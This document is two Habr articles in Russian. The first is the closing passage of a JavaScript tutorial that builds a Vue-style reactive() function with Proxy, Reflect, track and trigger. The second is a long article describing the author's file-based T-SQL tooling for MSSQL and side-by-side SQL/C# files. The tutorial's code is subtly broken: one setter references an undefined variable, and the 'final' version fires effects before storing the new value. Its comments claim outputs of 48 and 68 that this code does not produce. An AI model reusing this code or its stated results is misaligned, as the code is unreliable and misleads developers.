Пара уточнений по коду: я специально записал `proxy`-обёртку над объектом `user` в ту же переменную, поскольку в таком случае можно быть уверенным, что нигде не используется оригинальный объект. В данном случае `receiver` сохраняет контекст `this` для тех объектов, которые имеют унаследованные от других объектов области или функции.
Для более глубокого понимания вот пара статей на тему JS `Proxy`:
* [Proxy и Reflect](https://learn.javascript.ru/proxy)
* [Прокси](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Proxy)
Используем проксирование запросов к исходному объекту
-----------------------------------------------------
Теперь понимая, как работает `Proxy` и `Reflect`, применим их для создания реактивного объекта.
Давайте наконец напишем функцию `reactive`, а внутри неё создадим `handler`, аналогичный тому, который мы писали в примере с `Proxy`. Сам `handler` я предлагаю немного модифицировать и добавить Getter-функцию `track`, а в Setter — проверку на факт отличия нового значения от предыдущего, и если это действительно так, то запускать `trigger()`.
```
const targetMap = new WeakMap();
function track(target, key) {
let depsMap = targetMap.get(target);
if(!depsMap){
targetMap.set(target, (depsMap = new Map()));
}
let deps = depsMap.get(key);
if(!deps) {
depsMap.set(key, (deps = new Set()));
}
deps.add(effect);
}
function trigger(target, key) {
const depsMap = targetMap.get(target);
if (!depsMap) return;
const deps = depsMap.get(key);
if (!deps) return;
deps.forEach((_effect) => _effect());
}
const reactive = (target) => {
const handler = {
get: (target, key, receiver) => {
const d = Reflect.get(target, key, receiver)
track(target, key);
return d;
},
set: (target, key, value, receiver) => {
const oldVal = target[key];
const newVal = Reflect.set(target, key, val, receiver);
oldVal !== newVal && trigger(target, key);
target[key] = value;
return newVal;
},
};
return new Proxy(target, handler);
};
let totalCount = 0;
const effect = () => (totalCount = items.store1 + items.store2);
let items = reactive({
store1: 3,
store2: 4,
});
effect(); // нужно запустить effect для того, чтобы прочитать поля из объекта и запустить отслеживание
items.store1 = 44; // устанавливаем новое значение
console.log(totalCount); // 48
items.store2 = 24; // устанавливаем новое значение для второго поля
console.log(totalCount); //68
```
Отлично, этот пример уже больше похож на реактивную функцию, но мне по-прежнему не нравится, что перед использованием необходимо вручную запускать функцию `effect()`. Исправим это дополнительной переменной `activeEffect`:
```
let activeEffect = null;
function effect(eff) {
activeEffect = eff; // устанавливаем новое значение activeEffect
activeEffect(); // запускаем новое значение
activeEffect = null; // отменяем установку
}
```
Теперь давайте перепишем объявление функции `effect`:
```
// Напомню она выглядела вот так
const effect = () => (totalCount = items.store1 + items.store2);
// Теперь она будет выглядеть так
effect(() => {
totalCount = items.store1 + items.store2
})
```
И теперь отдельный вызов `effect()` можно удалить, но при этом нам необходимо модифицировать функцию `track`:
```
function track(target, key) {
if(!activeEffect) return // добавляем проверку
let depsMap = targetMap.get(target);
!depsMap && targetMap.set(target, (depsMap = new Map()));
let deps = depsMap.get(key);
!deps && depsMap.set(key, (deps = new Set()));
deps.add(activeEffect); // добавляем ее в хранилище
}
```
Итоговый код получился такой:
```
const targetMap = new WeakMap();
let activeEffect = null;
function effect(eff) {
activeEffect = eff;
activeEffect();
activeEffect = null;
}
function track(target, key) {
if (activeEffect) {
let depsMap = targetMap.get(target);
!depsMap && targetMap.set(target, (depsMap = new Map()));
let deps = depsMap.get(key);
!deps && depsMap.set(key, (deps = new Set()));
deps.add(activeEffect);
}
}
function trigger(target, key) {
const depsMap = targetMap.get(target);
if (!depsMap) return;
const deps = depsMap.get(key);
if (!deps) return;
deps.forEach((_effect) => _effect());
}
const reactive = (target) => {
const handler = {
get: (target, key, receiver) => {
const d = Reflect.get(target, key, receiver);
track(target, key);
return d;
},
set: (target, key, value, receiver) => {
const oldVal = target[key];
oldVal !== value && trigger(target, key);
return Reflect.set(target, key, value, receiver);
},
};
return new Proxy(target, handler);
};
let totalCount = 0;
let items = reactive({
store1: 3,
store2: 4,
});
effect(() => {
totalCount = items.store1 + items.store2;
});
items.store1 = 44; // устанавливаем новое значение
console.log(totalCount); // 48
items.store2 = 24; // устанавливаем новое значение для второго поля
console.log(totalCount); //68
```
Заключение
----------
Эта реализация функции `Reactive` очень похожа на [реализацию в Vue 3](https://github.com/vuejs/core/blob/main/packages/reactivity/src/reactive.ts). Если вы работаете с Vue, то очень советую познакомиться с тем, как функция написана в библиотеке, а эта статья поможет вам разобраться.
P.S. Кстати, реактивные функции, используемые во Vue, можно использовать отдельно от всего фреймворка. | https://habr.com/ru/post/664506/ | null | ru | null |
# Технология SQL-файл, препроцессор для T-SQL, “бок-о-бок” файлы и др
Завершив в недавнем прошлом очередную доработку своей легковесной технологии SQL-файл, применяемой для эффективной трансляции файлового SQL-кода в базу данных, автор данной статьи решил в очередной раз представить (в этой заметке теперь, на популярном ресурсе) свои реализованные, хотя бы отчасти, идеи касательно программирования MSSQL, а так же некоторые соображения относительно применения SQL вообще. Автор полагает, что несмотря на форму предлагаемой им частной реализации SQL-файл (для MSSQL), лежащая в основе подхода концепция имеет определённую силу и смысл.
Введение
--------
Язык SQL (его основа), а также средства поддержки SQL придумывались давно. Классические серверы реляционных БД, как правило, не допускают прямого размещения файлов исходного кода запросов на сервере; например, в специальных директориях БД, подобно тому, как, к примеру, на веб-сервере можно выложить JS, HTML, CSS и т. п. (В реляционной СУБД всё весьма консервативно, присутствует множество серьёзных ограничений.) Вместо этого клиент SQL-сервера имеет доступ к механизму манипулирования объектами БД и сервера (путём отправки пакетов инструкций SQL). С помощью специальной (как правило графической) консоли БД создаётся подобие редактирования исходников сохраняемых в БД объектов. Собираясь же по определённым причинам переходить (всецело) на файловую базу для хранения скриптов Вы можете обнаружить недостаточную поддержку работы с подобными файлами-скриптами со стороны клиентских инструментов разработки SQL. Представленная же здесь (в статье) легковесная технология SQL-файл ориентирована как раз на файловую базу для размещения исходников, в директориях и файлах SQL, для SQL-объектов БД: таблицы (скрипты их создания), индексы, ограничения (constraint), хранимые процедуры (ХП), функции и т. п.
Описывая в общих чертах и отдельных деталях конкретное исполнение идей, статья, в то же время, содержит элементы некоторого вымысла (фантастики), нацеленные на обретение теоретического видения касательно применения различных диалектов языка SQL, в плане предлагаемого общего знаменателя (для доступа к SQL-запросам), отражённого здесь путём привнесения соответствующих терминов: *Заголовок SQL-запроса* (формат, подлежащий унификации), *Компилируемый временный запрос к SQL-серверу* (допускает определённую унификацию) и прочее. Непривычный взгляд на взаимодействие с SQL-сервером позволяет, однако, не быть обязанным к общению с т. н. большой ORM (Object-Relational Mapping), иметь свободу интенсивно задействовать программирование внутри базы данных (функции, вспомогательные ХП и прочее), при этом логически разделяя запрос к веб-серверу на универсальные части-составляющие: (**1**) **Составляющая SQL-сервера** (условно открытый SQL-заголовок + реализация); (**2**) **Составляющая веб-сервера** (декларация API + имплементация); (**3**) **Клиентская составляющая** (в основном определения для использования запроса). Наличие разнородных сред и языков программирования для исполнения одного, казалось бы простого, запроса клиента создаёт препятствие для гладкой его реализации. Сложности же, вызываемые двойственной природой реализуемого запроса (SQL-сервер + веб-сервер) навряд ли подлежат существенному устранению, учитывая даже применение, так скажем, идеальной (максимальной) ORM.
В последующих текстах присутствует определённое количество специфических наименований, а так же сверхкоротких фрагментов из соответствующих скриптов и конфигурационных файлов (т. н. инишник-и, батч-и и т. п.). Можно особо не заострять на них внимание; они тут изобильно приводятся в основном с той целью, чтобы показать, что поведение т. н. SQL-трансляции (файлы => объекты SQL) подлежит конфигурированию, настраивается и доступно для управления. Так же, не следует ассоциировать применение файлового коммандер-а, процессора CMD и т. п. с какой бы то ни было отсталостью. Автономный проект (компиляция) SQL-файл, по ощущениям автора имеет, в каком-то смысле, схожие черты с автономными проектами в универсальной кроссплатформенной среде разработки VS-Code (конфигурирование, задачи, запуски и т. п.). Файловый же коммандер (здесь это, как правило, Far Manager) вкупе со сценариями обработки (здесь это в основном CMD) хорошо подходят для реализации автономного, независимого от привязок к фирменным IDE, компилируемого проекта.
Касательно же недостатков интеграции SQL-файл с Far Manager, стоит отметить отсутствие какой-либо функции автодополнения при редактировании SQL, в отличие, например, от задействования технологии **IntelliSense** в Visual Studio. В SQL-файл подобное редактирование (с “равнением” на коллекцию имён из базы данных в данном случае) доступно через т. н. IDE-стартер **SSMS.cmd**, что, однако, также имеет свои ограничения, выражающиеся, в первую очередь, в “замораживании” всего окружения (переменные среды) на моменте старта IDE (и не только это).
**Минимальная формулировка назначения и замысла SQL-файл:**
Когда-то, презентуя впервые свою методику взаимодействия с СУБД SQL Server, автор данной статьи писал (в прошлом) примерно следующее:
> Добрый день, уважаемые разработчики SQL!
>
> Позвольте представить Вашему вниманию самодельную легковесную технологию, именуемую как SQL-файл (или же SQL в файлах), — для MSSQL и T-SQL. Данная методика успешно применялась в течение достаточно долгого периода для программирования БД расчёта квартирной платы (город Воронеж). Технология базируются на известной утилите SQLCMD и командном процессоре CMD. В качестве IDE (командный пульт SQL + оперативный редактор) эффективно применяется Far Manager 3, со вспомогательными простейшим плагином и макросами. (Так же, возможно задействование других редакторов SQL, помимо встроенного в FAR.)
>
> Идея состоит в том, чтобы поддерживать исходный код и/или вспомогательные скрипты в виде SQL-файлов в директориях, транслируя их в базу данных, по отдельности либо группами. Используя утилиту $SQLTRANS и соответствующие шаблоны, можно настроить трансляцию (генерацию) большого количества объектов БД, работающую, так сказать, на раз-два-три. За один приём, например, возможно обновить активную составляющую программы в базе (процедуры, функции, представления, …), или, скажем, создать табличную структуру (и наполнить её некоторым количеством необходимых данных). При умелом обращении подсистема (активные объекты) может вполне свободно корректироваться даже на работающей программе/службе.
>
> Обзорное минимальное описание SQL-файл доступно на страницах Handicraft-CODE (англ. язык): [**https://handicraft.remelias.ru/sdk/sql\_file.html**](https://handicraft.remelias.ru/sdk/sql_file.html) (Handicraft-CODE :: Handicraft-SDK :: SQL-file technology); [**https://handicraft.remelias.ru/sdk/sql\_tools.html**](https://handicraft.remelias.ru/sdk/sql_tools.html) (Handicraft-CODE :: Handicraft-SDK :: CMD-utilities :: SQL-tools).
>
> А так же, см. скриншот-ы: [**https://handicraft.remelias.ru/sdk/sql/screenshots\_1.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html); [**https://handicraft.remelias.ru/sdk/sql/screenshots\_2.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_2.html); [**https://handicraft.remelias.ru/sdk/sql/screenshots\_3.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_3.html).
>
> Вместе с командными утилитами и шаблонами предлагается возможное (опционально) использование так называемого Усиленного Transact-SQL, с препроцессором (на базе переменных среды), представленного множеством соответствующих импорт-определений и широким набором хелпер-объектов прилагаемой библиотеки SQLAUX (полезные *программатик-и*).
>
> : : : : : : : : : :
>
> Спасибо за внимание!
>
>
I. Предыстория (что не так с языком Transact-SQL, расширения SQLCMD и др.)
--------------------------------------------------------------------------
Автор данной статьи в течение долгого времени имел дело с СУБД MS SQL Server. Когда-то в прошлом к автору пришло осознание того, что режим исполнения инструкций (Control Flow) в языке Transact-SQL, который MSSQL предлагает по умолчанию (режим), не является надёжным. Без использования специальных блоков-обёрток для перехвата исключения — необходимо везде-везде проверять состояние последней ошибки `@@ERROR`. Исходя из желания использовать эффективный (полуавтоматический, с исключениями) контроль ошибок, а так же и по другим (тоже веским) причинам, в течение длительного времени вырабатывалась и применялась интересная технология SQL-файл, основанная на расширениях SQLCMD. SQL-код хранится в файлах, организованных специальным образом в виде SQL-проекта (в дереве вложенных файловых папок). Для трансляции файлов в базу данных применяется легковесный обработчик — препроцессор-конкатенатор скриптов: **SqlCatPP** (EXE) в связке с вызывающей его обёрткой **$SqlTrans** (CMD). Так же, подразумевается использование вспомогательной библиотеки элементарных хелпер-объектов и констант (вида `$(<ПеременнаяСреды>)`) **SQLAUX** (в приложение к основному транслятору/препроцессору). В качестве редактора SQL в настоящее время, помимо встроенного редактора Far Manager, а так же одного из GUI-редакторов для простого текста (см. в загрузках), доступно так же использование **SQL Server Management Studio** (+Environment), в немного ограниченном, однако, виде (см. устройство **SSMS.cmd** в загрузках).
II. Технология SQL-файл на страницах https://handicraft.remelias.ru/
--------------------------------------------------------------------
**Вот ссылки на страницы автора статьи (минимальное описание + картинки и примеры):**
* [**https://handicraft.remelias.ru/sdk/sql/screenshots\_1.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html) (Скриншот-ы SQL-файл: **1**, **2**, **3**);
* [**https://handicraft.remelias.ru/sdk/sql\_file.html**](https://handicraft.remelias.ru/sdk/sql_file.html) (Технология SQL-файл; Список хелперов SQLAUX);
* [**https://handicraft.remelias.ru/sdk/sql\_tools.html**](https://handicraft.remelias.ru/sdk/sql_tools.html) (Легковесные инструменты SQL).
**Ещё картинки (вспомогательное применение SQL-файл, бок-о-бок файлы SQL/C# и др.):**
* [**https://handicraft.remelias.ru/csweb/lightweight\_orm.html**](https://handicraft.remelias.ru/csweb/lightweight_orm.html)
* [**https://handicraft.remelias.ru/csweb/screenshots/dev\_screenshots\_sql.html**](https://handicraft.remelias.ru/csweb/screenshots/dev_screenshots_sql.html)
**Так же, в авторском блог-е** [**https://blog-hc.remelias.ru/**](https://blog-hc.remelias.ru/)**, по SQL-файл присутствует серия заметок (хронологический порядок пост-ов):**
* [**https://blog-hc.remelias.ru/sql-file-technology-pp-for-t-sql-sbs-files-etc/**](https://blog-hc.remelias.ru/sql-file-technology-pp-for-t-sql-sbs-files-etc/)
* [**https://blog-hc.remelias.ru/presenting-sql-file-at-sql-ru/**](https://blog-hc.remelias.ru/presenting-sql-file-at-sql-ru/)
* [**https://blog-hc.remelias.ru/sql-file-as-constructor/**](https://blog-hc.remelias.ru/sql-file-as-constructor/)
* [**https://blog-hc.remelias.ru/sql-file-tasks-in-examples/**](https://blog-hc.remelias.ru/sql-file-tasks-in-examples/)
* [**https://blog-hc.remelias.ru/sql-file-and-sqlcmd/**](https://blog-hc.remelias.ru/sql-file-and-sqlcmd/)
II.1. Запуск SQL-файлов с учётом подготовленного окружения
----------------------------------------------------------
После настройки, проведённой соответствующим образом, легковесных инструментов, появляется возможность “запускать” правильно сконфигурированные (снабжённые лежащим в том же каталоге **$sql\_settings.cmd**) файлы кода с **усиленным Transact SQL**. В **Far Manager** подобная трансляция срабатывает (приводится в действие) из панели по <**Enter**> (для ассоциации SQL), из встроенного редактора по <**Ctrl+Enter**> (простейший макрос); в отдельном окне (запуск из панели) — по <**Ctrl+PgDown**>, в отдельном окне (запуск из встроенного редактора) — по <**Ctrl+F12**>. Утилита **$SQLTRANS** “подхватывает” **$sql\_settings.cmd**; файлы из подкаталогов, как правило, наследуют (и, возможно, расширяют) сеттинг-и (окружение) более высокого уровня расположения. Корневой же **$sql\_settings.cmd** подключает, как правило, **SQLAUX.cmd** (из каталога библиотеки), а так же **@<имя\_проекта>.cmd** (в UTF-8). Запустив же **SQL Server Management Studio** посредством стартера **SSMS.cmd** (располагается в корне SQL-проекта), данный процесс так же получает возможность использовать все тонкости настроенного окружения:
* Доступны слова для обёртки основного блока: `$(BEGIN_AUX)`, `$(END_AUX)`, с автоматической защитой от ошибки (т. н. “заворачивание” в `begin try` / `end try` / … и т. д.), которые, так же, инициализируют некоторые T-SQL-установки SET (при раскрытии `$(BEGIN_AUX)`);
* Многочисленные ключевые слова и константы: `$(LOOP_AUX)`, `$(TRUE_AUX)`, `$(DropFunctionScript_AUX)`, `$(num_IntStrMaxLength_AUX)`, `$(dt_Name_AUX)`, и т. п.;
* Ссылки на собственные переменные проекта `$(<ИмяПеременной>)`.
**Необходимо сначала должным образом установить и настроить поддержку SQL-файл!!!**
* При установленном плагин-е для **Far Manager** **CmdCpAuto**, появляется возможность комфортно просматривать (по **F4**) многочисленные CMD (с автоматическим переключением на нужную кодировку).
* После прописывания в системе пути (PATH) к командным утилитам “**…\HandicraftSDK\CMD-utilities**” (папка с CMD, EXE) — становится работоспособным следующее: **$sqltrans.cmd**, **$sqlupload.cmd**, **$sql.cmd**, **$sqlcon.cmd**, **$sqltocsvexp.cmd** и прочие “$”-команды.
* Так же, в системе потребуется определить путь к библиотеке скриптов и констант окружения SQLAUX: **SQLAUX\_ROOT** = **…\HandicraftSDK\SQL\SQLAUX**.
* При установленных макросах LUA из “**HandicraftSDK\CMD-utilities\Shell\Integration(\RU)**”, а так же после настройки ассоциаций FAR-а согласно “**!Integration of $SqlTrans with FAR Manager.txt**” (или же “**RU\!Интеграция $SqlTrans с FAR Manager.txt**”) — всё становится довольно-таки удобным для программирования с применением SQL-файл.
Обратите внимание на папку(и): “**HandicraftSDK\CMD-utilities\Shell\Integration(\RU)**”.
II.2. Трансляция множеств (файлы SQL)
-------------------------------------
Помимо простой трансляции отдельного файла, имеется возможность обработать группу / подгруппу SQL. Для запуска подобной трансляции применяются, как правило, простые стартеры CMD. В одну трансляцию могут попадать не только файлы шаблона “**\*.sql**”, но так же (при соответствующем запуске **$SqlCmd**) и сразу несколько подпапок, а так же и некоторый специальный SQL-файл. Порядок обработки файлов перестраивается посредством простейших файлов коррекции **$sql\_order.list**. Сложные же (составные) трансляции описываются соответствующими CMD-сценариями. Подобные сценарии играют в SQL-файл значительную роль (удаление файла, запрос подтверждения, формирование текстового отчёта, и т. п.).
В загрузке, соответствующей Handicraft-SDK, присутствуют три условных SQL-проекта (перечислены в **SQL-project-list.txt**), а в состав **BookRegistry app.** входит один сложный (из 2-х разнесённых частей) SQL-проект.
II.3. Слабый и сильный препроцессинг (осуществляется подпрограммой SqlCatPP)
----------------------------------------------------------------------------
При использовании Environment зачастую нормальным будет положиться на поведение базового средства SQLCMD. По умолчанию (при обращении к **$SQLTRANS**) **SqlCatPP** (EXE) применяет так называемый “**слабый препроцессинг**”, затрагивающий одну лишь директиву `:SetVar`. Он попросту добавляет перед ней одну строчку-комментарий: `--:SetVar …` (чтобы иметь неиспорченную диагностику относительно номера строки ошибки). Однако, когда Вы не взаимодействуете с БД напрямую, а отдаёте свои скрипты дилеру (посреднику), то возникает потребность в тщательной подготовке такого скрипта, с учётом Environment SQL-проекта. (Навряд ли удастся на стороне дилера использовать какие-либо окружения.) В данном случае необходим так называемый “**сильный препроцессинг**”, который реализуется в **SqlCatPP** в тестовом виде, затрагивает директивы `:SetVar`, `:r`, а так же ссылки на переменные среды: `$(<ИмяПеременной>)`. Результат подобной обработки доступен для примера в подкаталогах **$OUTPUT** и **$GENERATED** проектов **SQLAUX** и “**Extralight-ORM test legacy sample (En+Ru)\MyFlat app. (MVC\_Razor+TS+ADO+TSQL)\SQL (DB-modelling)**”. В состав **sqlaux\_library.sql** (из **$OUTPUT**), например, входят (как минимум) 173 исходных SQL-скрипта (фрагменты с разделителем `GO`), присутствующие так же и в **$GENERATED** (с порядковым префиксом имени файла: **XNNN..sql**). Сильный препроцессинг включается CMD-инструкцией `set SqlCatPP.ProcessDirectives=1`, располагающейся, как правило, в корневом сеттинг-файле SQL-проекта **$sql\_settings.cmd**.
Так же, утилита **$SQLTRANS** имеет возможность производить т. н. фиктивную трансляцию (`set $sqltrans.TranslateToDatabase=0`), выводить данные в текстовый файл результатов (для этого необходимо задать действительный 2-й параметр, например: `$SqlTrans "%~n0.sql" "%~n0.txt"`), а так же поддерживает передачу дополнительных параметров в базовый SQLCMD (например: `set $sqltrans.AdditionalParams=-y0`, `set $sqltrans.ContinueOnBatchError=1`). И не только это (см. страницы, картинки и загрузки).
II.4. Два основных направления в использовании SQL-файл
-------------------------------------------------------
**Технология SQL-файл применяется для достижения следующих 2-х основных целей:**
**1)** Хозяйственная обработка базы данных MSSQL: добавление таблиц, наполнение их данными, правка структуры БД, прочие рутинные операции административного характера. Поскольку всё оформляется в виде файлов, то то или иное действие может быть повторно воспроизведено впоследствии (с соответствующей доработкой скриптов).
**2)** Программирование в базе данных MSSQL, а именно — написание подсистемы хранимых объектов кода SQL (процедуры, функции, триггеры, представления), которые в терминологии SQL-файл обозначаются как *программатик-и* (общий термин). Серверную SQL-часть приложения принято, зачастую, генерировать целиком — удалять все (или подгруппу) программатики (соответствующие, например, такому-то именному префиксу) и создавать их заново. (Данное действие можно производить на разных экземплярах сервера и БД, указываемых в корневом **$sql\_settings.cmd** соответствующего SQL-проекта.)
III. Небольшая попытка создания экспериментальной псевдо-микро-ORM для доступа к своим SQL-запросам и ХП, бок-о-бок файлы (SQL/C#) и прочее
-------------------------------------------------------------------------------------------------------------------------------------------
III.1. Техника Side-by-Side (SQL/C#)
------------------------------------
В экспериментальных проектах “**Client-Server.WEB (idea)**” а так же “**MyFlat app. (MVC\_Razor+TS+ADO+TSQL)**” была предпринята небольшая попытка непрямого соединения исполняемого SQL-сервером кода Transact-SQL с исполняемым веб-сервером ASP C#-кодом для .NET. В 1-м случае подобный CS-код, так же (с учётом соответствующих директив условной компиляции), работает в браузере (применяется WASM-Blazor), что привносит дополнительные усложнения. Каждый запрос к БД оформляется в виде 2-х рядом лежащих файлов с одним и тем же базовым именем: “**<ИмяЗапроса>.sql**” и “**<ИмяЗапроса>.cs**”. В данном случае под SQL-запросом понимается код хранимой процедуры T-SQL, который “попадает” на сервер в момент трансляции SQL-файла, каталога с файлами либо всего большого проекта (с применением **$SqlTrans**+**SqlCatPP**).
Соединение SBS-файлов условное (смешения кода нет). Данное исполнение стремится видеть (представлять) SQL-запросы в довольно унифицированной форме: с параметрами ХП, статусом возврата `@Status uniqueidentifier = null out` (параметр), сообщением ошибки `@Message $(dt_Message_AUX) = null out`, с возможными несколькими резалт-сет-ами. (В последующей неопубликованной версии аналогичного SDK данные параметры имеют, соответственно, имена **@RStatus** и **@RMessage**.)
Легковесный ORM к ХП и SQL-запросам (Handicraft-CODE): [**https://handicraft.remelias.ru/csweb/lightweight\_orm.html**](https://handicraft.remelias.ru/csweb/lightweight_orm.html)
Попытки успешного смешивания разнородного кода известны. Например: “**.razor**” и “**.cshtml**” (смешение HTML+C#) — используются для генерации HTML-разметки посредством C#, с частичной проверкой правильности разметки. При компиляции же SQL-процедуры (например, из файла SQL) — так же проводится определённая проверка правильности SQL. Совмещение SQL+CS возможно было бы, в определённой степени, усовершенствовать. Например, в некоторых трудоёмких случаях — использовать объявление параметра (с типом) по месту его применения в теле запроса, “поручив” оформление заголовка(ов) запроса(ов) генератору-препроцессору SQL (добавив в него соответствующую функциональность). Так же, используя специальный вспомогательный формат двойственного (SQL-сервер/SQL-клиент) определения значений и типов, теоретически возможно было бы достичь определённого успеха. Однако, смешивание кода, работающего в совершенно разных средах и местах, навряд ли должно выглядеть просто.
В примере **BookRegistry app.** излишнюю сложность, однако, привносит использование JSON, а так же желание надёжно “защититься” (проверки-исключения) от **Null**-ов на стороне C# (после передачи данных через HTTP в упакованном виде, посредством JSON). В примере же “**MyFlat app. (MVC\_Razor+TS+ADO+TSQL)**” применяется сочетание 2-х языков для наименований: **английский** (ASP веб-сервер) <=> **русский** (объекты в SQL-БД).
III.2. Зачем всё это нужно (или же почему не всё так складно в ORM)?
--------------------------------------------------------------------
**Данный пункт можно отнести к области фантастики. Он предполагает существование возможности вносить изменения/дополнения в некоторую реляционную СУБД, поддерживающую расширяемый диалект языка SQL.**
В настоящее время, при доступности применения ORM для взаимодействия с БД, её (одну из ORM) естественно будут использовать очень многие. Несмотря даже на то, что подобное применение зачастую ведёт к определённому перевороту, когда, например, язык C# может быть поставлен выше базы данных, как принято на это смотреть в контексте применения EF Code First, и любое общение/взаимодействие с БД (даже не от имени разрабатываемого приложения) подчиняется уже C# и особенностям Entity Framework (при использовании Code First). А ежели подход с центральным Code First — это востребованное передовое, то всё, что не Code First — уже не годится (не то, что надо) и т. п. Есть и другие причины, так же говорящие в пользу применения своих SQL-запросов для общения с сервером SQL. (Крупные базы данных, кстати, способны пережить и несколько клиентских фреймворков и ORM.)
Что же касается использования хранимых процедур в БД для приложения, то существует обоснованное мнение, что это (**1**) не современно, (**2**) не кроссплатформенно, а так же (**3**) тяжело в поддержке. Поэтому — опять приходим к ORM, большой ORM. (И даже микро-ORM применять, как правило, обычно не рекомендуется.)
**Непростая идея компилируемых запросов SQL:**
Бок-о-бок файлы (приводятся выше), реализованные автором статьи в экспериментальном виде на базе классических хранимых процедур-запросов MSSQL, могли бы, так же (потенциально), при должной поддержке со стороны СУБД, быть исполнены, по части обработки SQL, в виде так называемых “**Компилируемых запросов SQL**” (**Compiled SQL Queries** с ограниченным управляемым временем жизни), поддерживаемых гипотетическим SQL-сервером (с функцией **Compiled SQL Queries**). Компилируемые SQL-запросы возможно было бы унифицировать по части заголовков с параметрами-значениями, параметрами-таблицами, резалт-сет-ами, кодом/статусом/сообщением возврата и т. п. (Т. е. — такие специальные кроссплатформенные по отношению к диалектам SQL заголовки для SQL-запросов.) Хранящийся в SQL-файле клиента SQL-сервера параметризованный код (плюс клиентская Environment) должен соответствующим образом подготавливаться (“на лету” при первом запуске запроса, или, возможно, на старте приложения):
* **сначала (на стороне клиента SQL) — применение аналога Environment SQL-проекта**;
* **далее (на стороне клиента) — препроцессинг SQL (раскрытие аналогов переменных среды)**;
* **затем — подготовка на SQL-сервере, с проверкой ошибок (компиляция аналога временной ХП с параметрами, со специальным уникальным наименованием временно сохраняемого запроса)**.
Исправление же кода в файле с SQL-запросом приложения на работающей программе (желательно это делать, конечно, не в части заголовка) — должно восприниматься как необходимость повторной компиляции (когда потребуется) временного запроса: уничтожение/создание временного запроса+имени на сервере SQL. По-видимому, стоит предусмотреть несколько разрядов (степени долгожительства), отвечающих за продолжительность существования таких запросов на сервере, — от эфемерных до практически постоянно сохраняемых запросов.
Таким вот примерно образом автор статьи представляет себе общение с базой данных SQL на языке SQL, со стороны программы (например веб-сервера), использующей какой-либо компилируемый либо скриптовый язык. Для работы такого приложения потребуется технология, подобная SQL-файл (обозначим расширение как **SQL-file-app.**). Компилируемые запросы приложения (SQL-файлы) могли бы заранее (на этапе разработки) проверяться специальными командами трансляции (отсылаться на сервер) на предмет ошибок предварительной подготовки (компиляция запроса на стороне SQL). Более того: базирующиеся на SQL-файлах компилируемые запросы должны быть доступны из папок SQL-проекта для исполнения их отдельно от, собственно, приложения, — как из подготовившего запрос файла сценариев, так и из специального проверочного или хозяйственного SQL-скрипта, работающего в контексте того же (подготовившего запрос) SQL-подключения.
Кроме того, обычная (подобная существующей в исполнении автора статьи, для MSSQL) не расширенная функциональность технологии SQL-файл, так же могла бы оказаться весьма полезной для работы вокруг подобного приложения.
IV. Завершение (резюме)
-----------------------
Как было обозначено в начале пункта **III.2**, то, о чём (в п. **III.2**) фантазируется автором статьи, весьма удалено от нашей реальности. И всё же (насчёт реальности): несмотря на могущество отдельных диалектов SQL, длительную историю знаменитых СУБД, трудно, в контексте понимания того, как обычно оформляются/выглядят запросы к базе данных (SQL-вкрапления в другую программу, либо посредством драйвера большой и умной ORM, либо же с применением отдельного SQL-файла или объекта с кодом, открываемом в консоли-редакторе БД), — трудно называть SQL первосортным языком программирования, который мы можем полноценно поддерживать (с тем же комфортом, что и классические языки ООП), когда применяем SQL для взаимодействия с БД из кода приложения или из отдельного скрипта.
\*\*\* P.S.: ПРИМЕР SIMPLE SCRIPT (HELLO): \*\*\*
-------------------------------------------------
Данная заметка (статья про SQL-файл) включает, помимо основного содержания технологии, определённые элементы фантастики, приводимые здесь ради попытки набросать некоторые очертания в плане потенциального развития идеи, не останавливаясь на достигнутом элементарном. Вообще, представлено лишь предварительное описание, предназначенное для беглого ознакомления, предполагающее так же обращение к соответствующим скриншот-ам SQL (см. [**https://handicraft.remelias.ru/sdk/sql/screenshots\_1.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html)), а так же имеющимся исходникам примеров SQL-файл (располагаются в загрузках Handicraft, в домене [**https://handicraft.remelias.ru/**](https://handicraft.remelias.ru/)).
Основные цели технологии SQL-файл (реализованные для MSSQL) сообщаются в пункте **II.4.** данной статьи; см. выше: “**II.4. Два основных направления в использовании SQL-файл**”.
Для первоначального же понимания идеи SQL-файл предлагается ознакомиться со специально подготовленным примером т. н. простого скрипта **Simple script (Hello)**: “**HandicraftSDK\SQL\Programming samples (SQL-file)\Simple script (Hello)**”, наряду с другими (простыми и сложными) примерами. (См.: “**HandicraftSDK\SQL-project-list.txt**”, “**Handicraft\_Toolkit\_YYYYMMDDx\SQL-projects-sum.txt**”.)
**В скриншот-ах SQL на страницах Handicraft, данный пример располагается в самом начале 1-го подмножества (соответствующие 4 ссылки с прокруткой выделены жирным):**
[**https://handicraft.remelias.ru/sdk/sql/screenshots\_1.html**](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html) (**SQL-file screenshots-1**):
1. [Simple script (Hello) / T-SQL in files (simple\_script.sql and %simple\_script% in SQL-project directory)](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html#simple_script_img)
2. [Simple script settings (SQL-file project defs: $sql\_settings.cmd, @simple\_script.cmd)](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html#simple_script_settings_img)
3. [Simple script output (TXT-report in simple\_script.txt, Console, SSMS)](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html#simple_script_output_img)
4. [Simple script run (elementary simple\_script.cmd and complex run\_simple\_script.cmd)](https://handicraft.remelias.ru/sdk/sql/screenshots_1.html#simple_script_run_img)
Здесь иллюстрируется пример, что называется, *одного скрипта* — **simple\_script.sql** (центральный файл), который, в то же время, не такой уж и элементарный, поскольку снабжается прилагаемым типичным набором файлов SQL-проекта. В результате, некоторые мелкие фрагменты T-SQL оказываются вынесенными (с соответствующим умыслом) в другие файлы: **@simple\_script.cmd** (сеттинг-и UTF-8), **%simple\_script%** (заголовочный скрипт SQL для декорации отчёта). Так же, в комментариях SQL и CMD присутствуют намёки на то, с чем можно “поиграться”, чтобы исследовать особенности и поведение. (Кстати, программное окружение SQL-файл предлагает клавиатурный макрос для эффективного комментирования строки CMD посредством “**rem …**”, по нажатию **Ctrl+R** в редакторе Far Manager. См.: “**HandicraftSDK\CMD-utilities\Shell\Integration\RU\Editor\_CtrlR.lua**” и инструкции “**!\*.txt**”.)
